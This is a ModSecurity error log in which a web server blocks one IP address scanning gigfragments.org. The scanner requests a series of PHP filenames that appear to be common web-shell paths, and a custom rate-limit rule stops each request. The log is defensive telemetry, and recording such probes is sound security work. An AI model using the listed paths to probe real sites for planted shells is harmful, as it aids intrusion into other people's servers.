[Fri Dec 19 18:51:18.786808 2025] [:error] [pid 41451:tid 41457] [client 52.187.119.223:9059] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aUUuJgYXFn-DbZghZBGzCgAAAAM"]
[Fri Dec 19 18:51:19.132181 2025] [:error] [pid 20580:tid 20604] [client 52.187.119.223:8999] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aUUuJ0md1op_YdAdgR15KgAAAFI"]
[Fri Dec 19 18:51:19.523672 2025] [:error] [pid 20582:tid 20658] [client 52.187.119.223:8953] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aUUuJ8pAnrkQKZ4b5gYOJgAAANA"]
[Fri Dec 19 18:51:20.143399 2025] [:error] [pid 20580:tid 20588] [client 52.187.119.223:8861] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aUUuKEmd1op_YdAdgR15MAAAAEI"]
[Fri Dec 19 18:51:20.721792 2025] [:error] [pid 41451:tid 41465] [client 52.187.119.223:9029] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aUUuKAYXFn-DbZghZBGzEAAAAAs"]
[Fri Dec 19 18:51:21.086430 2025] [:error] [pid 20580:tid 20591] [client 52.187.119.223:9058] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aUUuKUmd1op_YdAdgR15MQAAAEU"]
[Fri Dec 19 18:51:21.374835 2025] [:error] [pid 20582:tid 20653] [client 52.187.119.223:8910] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aUUuKcpAnrkQKZ4b5gYOKgAAAMs"]
[Fri Dec 19 18:51:21.718775 2025] [:error] [pid 20582:tid 20651] [client 52.187.119.223:8923] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aUUuKcpAnrkQKZ4b5gYOKwAAAMk"]
[Fri Dec 19 18:51:22.112396 2025] [:error] [pid 41451:tid 41473] [client 52.187.119.223:8868] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aUUuKgYXFn-DbZghZBGzEwAAABM"]
[Fri Dec 19 18:51:22.542595 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:9081] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aUUuKrMyJ3XqeDRsbQlrkgAAAQs"]
[Fri Dec 19 18:51:22.996204 2025] [:error] [pid 20580:tid 20594] [client 52.187.119.223:8970] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aUUuKkmd1op_YdAdgR15OAAAAEg"]
[Fri Dec 19 18:51:23.500558 2025] [:error] [pid 20580:tid 20587] [client 52.187.119.223:8932] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aUUuK0md1op_YdAdgR15OgAAAEE"]
[Fri Dec 19 18:51:24.000701 2025] [:error] [pid 20582:tid 20643] [client 52.187.119.223:8944] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aUUuK8pAnrkQKZ4b5gYONAAAAME"]
[Fri Dec 19 18:51:24.437472 2025] [:error] [pid 41451:tid 41466] [client 52.187.119.223:8843] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aUUuLAYXFn-DbZghZBGzGQAAAAw"]
[Fri Dec 19 18:51:25.133356 2025] [:error] [pid 20580:tid 20590] [client 52.187.119.223:8790] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aUUuLUmd1op_YdAdgR15QwAAAEQ"]
[Fri Dec 19 18:51:26.206739 2025] [:error] [pid 20675:tid 20711] [client 52.187.119.223:8907] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aUUuLrMyJ3XqeDRsbQlrnQAAARc"]
[Fri Dec 19 18:51:26.771153 2025] [:error] [pid 20582:tid 20647] [client 52.187.119.223:8859] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aUUuLspAnrkQKZ4b5gYOPAAAAMU"]
[Fri Dec 19 18:51:27.149647 2025] [:error] [pid 41451:tid 41457] [client 52.187.119.223:8874] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aUUuLwYXFn-DbZghZBGzIQAAAAM"]
[Fri Dec 19 18:51:27.517283 2025] [:error] [pid 20581:tid 20627] [client 52.187.119.223:8956] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aUUuL_xEv7WXNhnFD1li4AAAAIw"]
[Fri Dec 19 18:51:28.028529 2025] [:error] [pid 20582:tid 20660] [client 52.187.119.223:9002] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aUUuMMpAnrkQKZ4b5gYOQAAAANI"]
[Fri Dec 19 18:51:28.397355 2025] [:error] [pid 20675:tid 20701] [client 52.187.119.223:8884] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aUUuMLMyJ3XqeDRsbQlrpQAAAQ0"]
[Fri Dec 19 18:51:28.722107 2025] [:error] [pid 20675:tid 20707] [client 52.187.119.223:8844] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aUUuMLMyJ3XqeDRsbQlrqAAAARM"]
[Fri Dec 19 18:51:28.971963 2025] [:error] [pid 20582:tid 20663] [client 52.187.119.223:9017] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aUUuMMpAnrkQKZ4b5gYOQwAAANU"]
[Fri Dec 19 18:51:29.311904 2025] [:error] [pid 20580:tid 20598] [client 52.187.119.223:9020] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aUUuMUmd1op_YdAdgR15TgAAAEw"]
[Fri Dec 19 18:51:29.640475 2025] [:error] [pid 41451:tid 41469] [client 52.187.119.223:8892] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aUUuMQYXFn-DbZghZBGzJgAAAA8"]
[Fri Dec 19 18:51:30.085323 2025] [:error] [pid 20581:tid 20638] [client 52.187.119.223:8854] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aUUuMvxEv7WXNhnFD1li6wAAAJc"]
[Fri Dec 19 18:51:30.340068 2025] [:error] [pid 20675:tid 20712] [client 52.187.119.223:8839] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aUUuMrMyJ3XqeDRsbQlrrAAAARg"]
[Fri Dec 19 18:51:30.647819 2025] [:error] [pid 41451:tid 41466] [client 52.187.119.223:8896] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aUUuMgYXFn-DbZghZBGzKAAAAAw"]
[Fri Dec 19 18:51:31.040634 2025] [:error] [pid 20581:tid 20629] [client 52.187.119.223:8864] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aUUuM_xEv7WXNhnFD1li7AAAAI4"]
[Fri Dec 19 18:51:31.439380 2025] [:error] [pid 20582:tid 20652] [client 52.187.119.223:8919] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aUUuM8pAnrkQKZ4b5gYOTAAAAMo"]
[Fri Dec 19 18:51:31.771497 2025] [:error] [pid 20580:tid 20606] [client 52.187.119.223:8927] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aUUuM0md1op_YdAdgR15VQAAAFQ"]
[Fri Dec 19 18:51:32.131485 2025] [:error] [pid 20675:tid 20694] [client 52.187.119.223:8857] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aUUuNLMyJ3XqeDRsbQlrtAAAAQY"]
[Fri Dec 19 18:51:32.337281 2025] [:error] [pid 41451:tid 41471] [client 52.187.119.223:8847] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aUUuNAYXFn-DbZghZBGzLgAAABE"]
[Fri Dec 19 18:51:32.576791 2025] [:error] [pid 20581:tid 20620] [client 52.187.119.223:9048] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUUuNPxEv7WXNhnFD1li7gAAAIU"]
[Fri Dec 19 18:51:32.929420 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:8952] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUUuNLMyJ3XqeDRsbQlruQAAARE"]
[Fri Dec 19 18:51:33.201637 2025] [:error] [pid 20675:tid 20695] [client 52.187.119.223:8891] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUUuNbMyJ3XqeDRsbQlrvAAAAQc"]
[Fri Dec 19 18:51:33.595845 2025] [:error] [pid 20582:tid 20653] [client 52.187.119.223:8877] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aUUuNcpAnrkQKZ4b5gYOVgAAAMs"]
[Fri Dec 19 18:51:33.841040 2025] [:error] [pid 20582:tid 20649] [client 52.187.119.223:8906] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aUUuNcpAnrkQKZ4b5gYOVwAAAMc"]
[Fri Dec 19 18:51:34.295695 2025] [:error] [pid 20581:tid 20628] [client 52.187.119.223:9069] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aUUuNvxEv7WXNhnFD1li8AAAAI0"]
[Fri Dec 19 18:51:34.626968 2025] [:error] [pid 20581:tid 20634] [client 52.187.119.223:8959] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aUUuNvxEv7WXNhnFD1li8QAAAJM"]
[Fri Dec 19 18:51:35.200088 2025] [:error] [pid 20581:tid 20618] [client 52.187.119.223:8942] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aUUuN_xEv7WXNhnFD1li8wAAAIM"]
[Fri Dec 19 18:51:35.625504 2025] [:error] [pid 20581:tid 20623] [client 52.187.119.223:8909] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aUUuN_xEv7WXNhnFD1li9QAAAIg"]
[Fri Dec 19 18:51:36.128652 2025] [:error] [pid 20580:tid 20606] [client 52.187.119.223:19968] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aUUuOEmd1op_YdAdgR15aQAAAFQ"]
[Fri Dec 19 18:51:36.835537 2025] [:error] [pid 20580:tid 20602] [client 52.187.119.223:8930] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aUUuOEmd1op_YdAdgR15bgAAAFA"]
[Fri Dec 19 18:51:37.073626 2025] [:error] [pid 20580:tid 20586] [client 52.187.119.223:8924] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aUUuOUmd1op_YdAdgR15cAAAAEA"]
[Fri Dec 19 18:51:37.418138 2025] [:error] [pid 20580:tid 20598] [client 52.187.119.223:8917] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aUUuOUmd1op_YdAdgR15cQAAAEw"]
[Fri Dec 19 18:51:37.897747 2025] [:error] [pid 20581:tid 20624] [client 52.187.119.223:8793] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aUUuOfxEv7WXNhnFD1ljAQAAAIk"]
[Fri Dec 19 18:51:38.440913 2025] [:error] [pid 41451:tid 41459] [client 52.187.119.223:8913] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aUUuOgYXFn-DbZghZBGzPQAAAAU"]
[Fri Dec 19 18:51:38.887607 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:8875] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aUUuOrMyJ3XqeDRsbQlrygAAAQk"]
[Fri Dec 19 18:51:39.389102 2025] [:error] [pid 20581:tid 20628] [client 52.187.119.223:9006] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aUUuO_xEv7WXNhnFD1ljBAAAAI0"]
[Fri Dec 19 18:51:39.709300 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:8870] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aUUuO7MyJ3XqeDRsbQlrzgAAAQ4"]
[Fri Dec 19 18:51:40.000428 2025] [:error] [pid 20675:tid 20711] [client 52.187.119.223:8925] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aUUuO7MyJ3XqeDRsbQlr0AAAARc"]
[Fri Dec 19 18:51:40.476738 2025] [:error] [pid 20580:tid 20604] [client 52.187.119.223:8888] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aUUuPEmd1op_YdAdgR15fgAAAFI"]
[Fri Dec 19 18:51:41.458339 2025] [:error] [pid 20675:tid 20693] [client 52.187.119.223:8869] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aUUuPbMyJ3XqeDRsbQlr1gAAAQU"]
[Fri Dec 19 18:51:42.177510 2025] [:error] [pid 20580:tid 20605] [client 52.187.119.223:8846] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aUUuPkmd1op_YdAdgR15hAAAAFM"]
[Fri Dec 19 18:51:42.586425 2025] [:error] [pid 20675:tid 20691] [client 52.187.119.223:8714] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aUUuPrMyJ3XqeDRsbQlr3gAAAQM"]
[Fri Dec 19 18:51:42.921253 2025] [:error] [pid 20580:tid 20591] [client 52.187.119.223:8908] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aUUuPkmd1op_YdAdgR15hwAAAEU"]
